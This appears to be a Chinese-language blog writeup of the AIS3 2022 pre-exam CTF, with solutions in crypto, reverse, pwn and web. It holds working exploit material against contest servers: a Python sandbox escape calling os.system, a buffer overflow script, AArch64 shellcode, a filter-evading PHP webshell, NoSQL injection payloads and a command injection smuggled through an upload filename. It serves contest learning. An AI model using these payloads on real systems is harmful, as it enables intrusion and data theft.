CKB's Stash
AIS3 2022 pre-exam writeup
今年超爽的,第一次打CTF搶到排行榜前面,摸到了個第七名,明年看來該去修計安ㄌ
不過還是有很多題目完全沒主意要怎麼解,尤其是pwn和web的部份。很意外的Reverse的部份拿到了不少分數,不知道是不是因為之前打Flareon CTF的關係? 總體來說是個不錯的體驗,期待今年的課程。
Crypto
SC
Substitution Cipher? 直接python開個dictionary對一對應該就可以解了ㄅ
p = open("cipher.py",'r').read()
e = open("cipher.py.enc",'r').read()
dct = {}
for i in range(len(p)):
dct[e[i]] = p[i]
print(dct)
f = open('flag.txt.enc','r').read()
for c in f:
print(dct[c],end='')
Flag: AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}
Fast Cipher
題目給的加密方法:
M = 2**1024
def f(x):
# this is a *fast* function
return (
4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
) % M
def encrypt(pt, key):
ct = []
for c in pt:
ct.append(c ^ (key & 0xFF))
key = f(key)
return bytes(ct)
if __name__ == "__main__":
key = randbelow(M)
ct = encrypt(open("flag.txt", "rb").read().strip(), key)
print(ct.hex())
基本上就是f(x)
去生一大串「隨機」的東西然後跟明文xor,所以我們只要想辦法去xor回來就可以了。這裡的重點是 key & 0xFF
,也就是說key每一回合都只需要在乎最後一個byte,也就是mod 0x100的意思。那麼顯然初始key丟進去只會有256種可能,就全部試一遍就好,我們甚至可以直接把題目的codeㄎㄧㄤ過來用:
def f(x):
# this is a *fast* function
return (
4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
) % M
def encrypt(pt, key):
ct = []
for c in pt:
ct.append(c ^ (key & 0xFF))
key = f(key)
return bytes(ct)
if __name__ == "__main__":
for i in range(0x100):
key = i
ct = encrypt(b"\x6c\x0e\xc8\x40\xf8\x8d\x4c\xd7\xfc\xc6\xd5\xc6\xd1\xda\xfc\xc1\xca\xd7\xd0\xfc\xc2\xd1\xc6\xfc\xd6\xd0\xc6\xc7\xfc\xcf\xcc\xcf\xde", key) # 題目給的密文
if str(ct).isprintable():
print(str(ct))
Flag (還是要grep一下AIS3): AIS3{not_every_bits_are_used_lol}
Really Strange orAcle
You have a RSA(-like) encryption oracle to use, but you know literally nothing about the public key. Can you still decrypt the flag with it?
題目給的server code:
from Crypto.Util.number import getStrongPrime, getRandomRange, isPrime, bytes_to_long
from pathlib import Path
import json
import os
flag = os.environb[b"FLAG"]
keyfile = Path("./key.json")
if keyfile.is_file():
key = json.loads(keyfile.read_text())
n = key["n"]
e = key["e"]
else:
p = getStrongPrime(1024)
n = p * p
while True:
e = getRandomRange(2, p) | 1
if isPrime(e):
break
keyfile.write_text(json.dumps({"n": n, "e": e}))
flag += os.urandom(2048 // 8 - len(flag))
c = pow(bytes_to_long(flag), e, n)
print(c)
while True:
x = int(input())
if x >= 0:
print(pow(x, e, n))
這題當初卡了很久,但是現在回頭看的話其實好像也還好。雖然沒給任何public key還是modulo的數字,但我們可以用server的服務靠RSA的性質去推敲出來。
首先來算\(n\)。先讓server幫我們算 \(2^e, 4^e, 8^e \mod{n}\),由於\((2^e)^2 = 4^e, (2^e)^3 = 8^e\),所以當然\((2^e)^2-4^e\equiv (2^e)^3-8^e \equiv 0 \mod{n}\)。算出這兩個東西之後,由於他們都會是\(n\)的倍數,所以直接算gcd有很大的機率它就是\(n\)。
接下來觀察題目的code。跟一般RSA明顯不同的地方是,一般來說RSA選的n必須要是兩個大質數\(p,q\)的乘積,然而這裡卻直接用了\(p^2\),於是我們可以直接把上面的\(n\)丟去網路計算機算個sqrt,就可以得到\(p\)。但是\(e\)要怎麼算? 這裡我卡了很久,不過問了作者後,他提示說是一些數學,所以想一下之後可以發現\(n=p^2\)這個東西的巨大缺陷:
\[\begin{align} (p+1)^e&=C^e_0p^e+C^e_1p^{e-1}\dots+C^e_{e-2}p^2+C^e_{e-1}p+1 &\mod{p^2} \\ &= pe+1 &\mod{p^2} \end{align}\]於是傳\(p+1\)給server之後,拿下來-1除 \(p\) 我們就得到了 \(e\)。換回\(d\)之後就可以拿來解密了,不過這裡有一點要注意的是\(\phi(p^2)=p^2-p\),所以要拿這個來算modular inverse。
Flag: AIS3{math_go_brrrrr...}
Misc
Gift in the dream
題目給了一張閃爍不定的GIF:
怎麼看都是把Flag藏在閃爍時間裡頭,google一下可以找到酷酷的工具exiftool
,就能把每個frame的時間抓出來,它甚至還直接提示我們時間就是答案:
Graphic Control: delay=0.65
Comment = why is the animation lagging? why is the duration so weird? is this just a dream?
Application Extension: NETSCAPE/2.0
+ [BinaryData directory, 3 bytes]
| AnimationIterations = 0
Image: left=0 top=0 width=200 height=200
Graphic Control: delay=0.73
Comment = why is the animation lagging? why is the duration so weird? is this just a dream?
Application Extension: NETSCAPE/2.0
+ [BinaryData directory, 3 bytes]
| AnimationIterations = 0
Image: left=97 top=97 width=7 height=7
Graphic Control: delay=0.83
Comment = why is the animation lagging? why is the duration so weird? is this just a dream?
Application Extension: NETSCAPE/2.0
+ [BinaryData directory, 3 bytes]
| AnimationIterations = 0
Image: left=94 top=94 width=13 height=13
Graphic Control: delay=0.51
抓出來之後得到的數值是[65,73,83,51,123,53,84,51,103,110,48,103,82,52,112,72,121,95,99,52,78,95,98,51,95,102,85,110,95,115,48,109,51,55,105,77,101,125]
。ASCII換一下就得到Flag: AIS3{5T3gn0gR4pHy_c4N_b3_fUn_s0m37iMe}
Knock
題目給了一個服務,把要求的token貼上去之後它會說 I have knocked on [IP]
。亂猜google了一下knock networking之類的關鍵字可以找到 port knocking 這個東西。開wireshark之後我們可以偵測比賽用vpn上面的traffic,再叫它knock一次:
稍微處理一下port number得到 Flag: AIS3{kn0ckKNOCKknock}
ASTJail
這題真的十分意外拿到了首殺,而且還維持唯一解一整天,明明我是資安小廢物@_@
原題目code:
import sys
import ast
import re
from code import InteractiveConsole
WHITE_LIST = ['print', 'bool', 'int', 'float', 'str', 'len', 'pow',
'abs', 'min', 'max', 'sum', 'chr', 'ord', 'hex', 'oct', 'bin']
def check(code):
# Python ast: https://docs.python.org/3.10/library/ast.html
def traverse(node):
if isinstance(node, ast.Expression):
return traverse(node.body)
elif isinstance(node, ast.Name):
if node.id not in WHITE_LIST:
print('[!] Forbidden function: {}'.format(node.id))
return False
else:
return True
elif isinstance(node, ast.Call):
return traverse(node.func) and \
all(traverse(arg) for arg in node.args) and \
all(traverse(key) for key in node.keywords)
elif isinstance(node, ast.BoolOp):
return all(traverse(n) for n in node.values)
elif isinstance(node, ast.BinOp):
return traverse(node.left) and traverse(node.right)
elif isinstance(node, ast.UnaryOp):
return traverse(node.operand)
elif isinstance(node, ast.Compare):
return all(traverse(n) for n in node.comparators) and traverse(node.left)
elif isinstance(node, ast.List):
return all(traverse(n) for n in node.elts)
elif isinstance(node, ast.Tuple):
return all(traverse(n) for n in node.elts)
elif isinstance(node, ast.Subscript):
return traverse(node.value) and traverse(node.slice)
elif isinstance(node, ast.Slice):
return traverse(node.lower) and traverse(node.upper)
elif isinstance(node, ast.Constant) or node == None:
return True
else:
print("[!] Forbidden node type:", type(node).__name__)
return False
try:
if re.search(r'eval|exec|__import__', code):
print("[!] Seems unsafe...")
return False
tree = ast.parse(code, mode='eval')
return traverse(tree)
except SyntaxError:
print("[!] Syntax error")
return False
class Sandbox(InteractiveConsole):
def runsource(self, source: str, filename: str = "<input>", symbol: str = "single") -> bool:
if not source or not check(source):
return False
return super().runsource(source, filename=filename, symbol=symbol)
if __name__ == '__main__':
sandbox = Sandbox()
banner = f'Python {sys.version} on {sys.platform}\nSupported Function: {", ".join(WHITE_LIST)}'
sandbox.interact(banner=banner)
基本上它會給你一個python eval shell,但是有幾個filter:
- 用AST去parse你給的指令,然後recursive traverse,如果出現不在白名單裡的function就把你擋掉
- 整個指令不准出現
eval
,exec
,__import__
第一個filter在仔細對照文件之後可以看到有問題的一行:
elif isinstance(node, ast.Slice):
return traverse(node.lower) and traverse(node.upper)
------
Slice(expr? lower, expr? upper, expr? step)
Slice (list 的 index) 的部份它少檢查到step, 也就是python iterable裡頭少見的第三項,寫法像是這樣: "abcdefg"[::2] -> 'aceg'
。總之我們可以測試這個東西有沒有辦法拿來用:
>>> [1][::print(open('/etc/passwd').read())]
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
(略)
然後發現可以,所以接下來我們可以透過一般繞過關鍵字的方法來想辦法戳出flag:
[1][::print(list(enumerate(''.__class__.__mro__[-1].__subclasses__())))]
[1,2,3][1:2:print(''.__class__.__mro__[-1].__subclasses__()[138])] --> <class 'os._wrap_close'>
[1,2,3][1:2:print(''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['system']('cat /home/ctf/*'))]
Flag: AIS3{1s_thi5_k1nd_0f_sp0t_th3_d1ff3renc3_g4me?}
References: https://www.gushiciku.cn/pl/2F7p/zh-tw
Pwn
BOF2WIN
基本的Binary overflow題。
from pwn import *
r = remote('chals1.ais3.org', 12347)
r.recvuntil("What's your name?")
target_addr = p64(0x401216)
r.sendline(b'A'*24+target_addr)
r.interactive()
Flag: AIS3{Re@1_B0F_m4st3r!!}
Give Me SC
題目正如字面上的意思一樣,你給它一些字元,它就會把它當function執行。我的shell code是從這裡偷過來ㄉ:https://www.exploit-db.com/exploits/47048
from pwn import *
shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
p = remote("chals1.ais3.org",15566)
p.recvuntil(b"name")
p.sendline(b"aaa")
p.recvuntil(b"shellcode")
p.sendline(shellcode)
p.interactive()
Flag 放在 /home/give_me_sc/flag : AIS3{Y0uR_f1rst_Aarch64_Shellcoding}
Reverse
Time Management
這題也是意外搶到首殺:) 直接上Ghidra:
非常的直白,它會做一些奇怪的加密解密xor的東西,然後每隔非常久的一段時間才印出一個字元。解法很多,我這裡是直接把等待時間patch成0,然後改掉最後的\r
免得它把我們的flag給洗掉。然後flag就出來拉
Flag: AIS3{You_are_the_master_of_time_management!!!!!}
Strings
這題是用rust寫的,然後我不會寫rust。但無論如何,該reverse的還是得reverse。上Ghidra:
Main 裡頭只會call另一個在namespace裡頭的main, 不知道為什麼:
對這個main去把decompile的東西整理檢查一下,很多地方還是無法閱讀,不過重要的是這一段: (清理過後)
core::str::<impl_str>::split(local_190,SUB168(auVar3,0),SUB168(auVar3 >> 0x40,0),"_",1);
i = alloc::vec::Vec<T,A>::len(our_input);
auVar3 = CONCAT88(j._8_8_,j._0_8_);
if (i == 0xb) {
local_108 = 0;
local_100 = 0xb;
local_f8 = <I_as_core::iter::traits::collect::IntoIterator>::into_iter(0,0xb);
while( true ) {
auVar3 = core::ops::range::Range<A>>::next(local_f8);
i = SUB168(auVar3 >> 0x40,0);
if (SUB168(auVar3,0) == 0) break;
j = auVar3;
input_char = <alloc::vec::Vec<T,A>as_core::ops::index::Index<I>>::index
(our_input,i,&PTR_s_strings.rs__00155d58);
memcpy(data,DWORD_ARRAY_001451d0,0x58);
uVar1 = data[i];
bVar2 = &A>::ne(input_char,ais3_str + uVar1 * 2);
if ((bVar2 & 1) != 0) {
correct_flag = 0;
}
}
}
這裡的重點是data、input_char、ais3_str這幾個東西。首先,data會存一個 58 bytes 的array,我這裡是瞎猜他是dword array。在loop的時候每回合會檢查input_char == ais3_str[2*data[i]]
,如果不符合就會失敗。接下來看ais3_str存了些什麼:
我直到作到這裡才發現ais3_str其實不是string,而是string array。這裡所有的string串起來會得到一個假flag,用來嗆想要直接strings
交差的人,但看來事實上真的flag其實也藏在這裡。那麼,我們就按照DWORD_ARRAY_001451d0
裡面的index,來把flag串起來看看,然後在每個字串中間加_
:
Flag: AIS3{_the_answer_is_guess_the_strings_using_good_luck_}
殼
這題給了你一些用「文言」寫的程式,然後要求你reverse。按照文件要求用npm安裝之後,就可以把它編譯成js。執行之後會得到一個類似shell的界面:
太多幫助了吧?對js稍微看一下可以發現這個shell的主要功能,開頭要是「蛵煿」才會有動作:
雖然在這個之後我有試圖繼續reverse這個js,但一下英文一下中文的實在是太累了。不過,對這個shell再玩一下可以發現這個:
可以看出每三個字元會對應到兩組數字和中文字,跟base64很像。既然\(95^3=857375\)也不算是太可怕的數字,那麼接下來就是快樂的brute force時間ㄌ:
# -*- coding: utf-8 -*-
from pwn import *
ls = "/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA_\{\}-"
prefix = "蛵煿 "
dct = {}
r = process('wenyan 殼.wy',shell=True)
r.recvuntil(b"> ")
count = 0
for c1 in ls:
print(c1)
for c2 in ls:
for c3 in ls:
count += 1
# if count >= 10: break
seq = f"{c1}{c2}{c3}"
r.sendline(prefix+seq)
res = str(r.recvuntil(b"> ").decode("utf-8"))
clean = res[18:23]+res[-12:-7]
dct[clean] = seq
# print(dct)
target = ["181m獎202m當","177m之210m兇","191m深170m定","189m忠197m忠","192m複226m除","177m率226m月","191m月170m都","177m三178m還","177m三209m先","188m而197m忠","192m兇198m故","192m複226m巳","177m三222m定","189m率225m陛","194m軍166m除","178m軍186m忠","181m率226m所","177m瀘226m獎","181m獎218m除","179m當166m鈍","178m三170m斟"]
for s in target:
try:
print(dct[s], end='\n')
except:
print("could not find "+s)
Flag: AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a}
Calculator
.NET, ILSpy開起來,把每個檔案丟進去可以看到一些過濾條件,照他的條件玩一下填字遊戲就好了:
0123456789012345678901234567890123456789012345
AIS3{ A }
{D G_G}
D0T_N3T_FRAm3W0rk __
k 15_S0_C0mPlicaT3d
AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}
Web
Simple File Uploader
兩個上傳filter:
- 副檔名不准是
'php', 'php2', 'php3', 'php4', 'php5', 'php6', 'phtml', 'pht'
- 檔案內容不准有
system, exec, passthru, show_source, proc_open, popen, pcntl_exec, eval, assert, die, shell_exec, create_function, call _user_func, preg_replace
繞過的方法也簡單:
- 副檔名用
pHp
,這樣php server還是會parse <?php (sy.(st).em)($_GET['cmd']);
於是就有了webshell, 執行/rUn_M3_t0_9et_fL4g
得到flag: FLAG: AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}
Poking Bear
進去網頁可以看到每個按鈕的url都是chals1.ais3.org:8987/bear/[number]
,並且按照數字大小排列,但是目標的Secret bear卻沒有數字。於是我們可以開Burp,從bear/350
暴力一路戳到bear/777
,就可以找到Secret bear 在 bear/499
。
進去之後點Poke的話,它會說”You can’t poke SECRET BEAR since you are not “bear poker”!”。因此回到Burp,然後把他的cookie 改成 “secret bear”再戳一次就有flag了。
Flag: AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}
The Best Login UI
一進去題目看到一個相當實用的登入界面,看到這麼多酷酷的特殊字元,想必這絕對不會是SQLI吧?錯了,檔案裡面有mongoDB的東西,這是NoSQL。那總之就先來試試看一些基本的東西確定是不是NoSQL:
username[$ne]=aaa&password[$ne]=meowmeow -> success
還真的是NoSQL。那麼接下來試密碼長度。
username[$ne]=toto&password[$regex]=.{41} -> success
username[$ne]=toto&password[$regex]=.{42} -> fail
密碼長度41個字元,接下來就是找密碼了,這裡我們只能一個字元一個字元試,可以用Burp加速這個過程。
username[$ne]=toto&password[$regex]=A.{40} -> success
username[$ne]=toto&password[$regex]=B.{40} -> fail
username[$ne]=toto&password[$regex]=AI.{39} -> success
username[$ne]=toto&password[$regex]=AIS.{38} -> success
Burp的Intruder功能很好用,但是遇到太奇怪的字元有時候也會爛掉,這時候得要用手動Regex來搞binary search…
Regex: [\x00-\x7f] matches all ascii characters
歷經千辛萬苦後我們可以得到flag: AIS3{Bl1nd-b4s3d r3gex n0sq1i?! (:3[___]}
References: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
TariTari
這題給了一個可以把檔案變成 .tar.gz 的網站。步驟分為兩步,首先在/
上傳檔案,然後會得到一個/download.php
的連結,用來下載檔案。觀察可以發現download.php
的file
參數有 path traversal 的問題,於是我們可以dump出原始碼:
GET /download.php?file=Li4vaW5kZXgucGhw&name=index.php
<h1>Tari</h1>
<p>Tari is a service that converts your file into a .tar.gz archive.</p>
<form action="/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
<?php
function get_MyFirstCTF_flag()
{
// **MyFirstCTF ONLY FLAG**
// Please IGNORE this flag if you are AIS3 Pre-Exam Player
// Congratulations, you found the flag!
// RCE me to get the second flag, it placed in the / directory :D
echo 'MyFirstCTF FLAG: AIS3{../../3asy_pea5y_p4th_tr4ver5a1}';
}
function tar($file)
{
$filename = $file['name'];
$path = bin2hex(random_bytes(16)) . ".tar.gz";
$source = substr($file['tmp_name'], 1);
$destination = "./files/$path";
passthru("tar czf '$destination' --transform='s|$source|$filename|' --directory='/tmp' '/$source'", $return);
if ($return === 0) {
return [$path, $filename];
}
return [FALSE, FALSE];
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
if ($file === NULL) {
echo "<p>No file was uploaded.</p>";
} elseif ($file['error'] !== 0) {
echo "<p>Error: Upload error.</p>";
} else {
[$path, $filename] = tar($file);
if ($path === FALSE) {
echo "<p>Error: Failed to create archive.</p>";
} else {
$path = base64_encode($path);
$filename = urlencode($filename);
echo "<a href=\"/download.php?file=$path&name=$filename.tar.gz\">Download</a>";
}
}
}
題目這裡提示說要找到RCE,這裡一個明顯的選擇是passthru
裡面的filename
。這裡不知道為什麼,如果傳給他的任何參數包含/
或\
,指令就不會執行,所以我們必須想辦法繞過這個限制。最後我找到的辦法是用base64繞過去:
filename="';X=`echo Y2F0IC8qLnR4dA==|base64 -d`;$X;'"
如此便會執行 cat /*.txt
。Flag: AIS3{test_flag (to be changed)}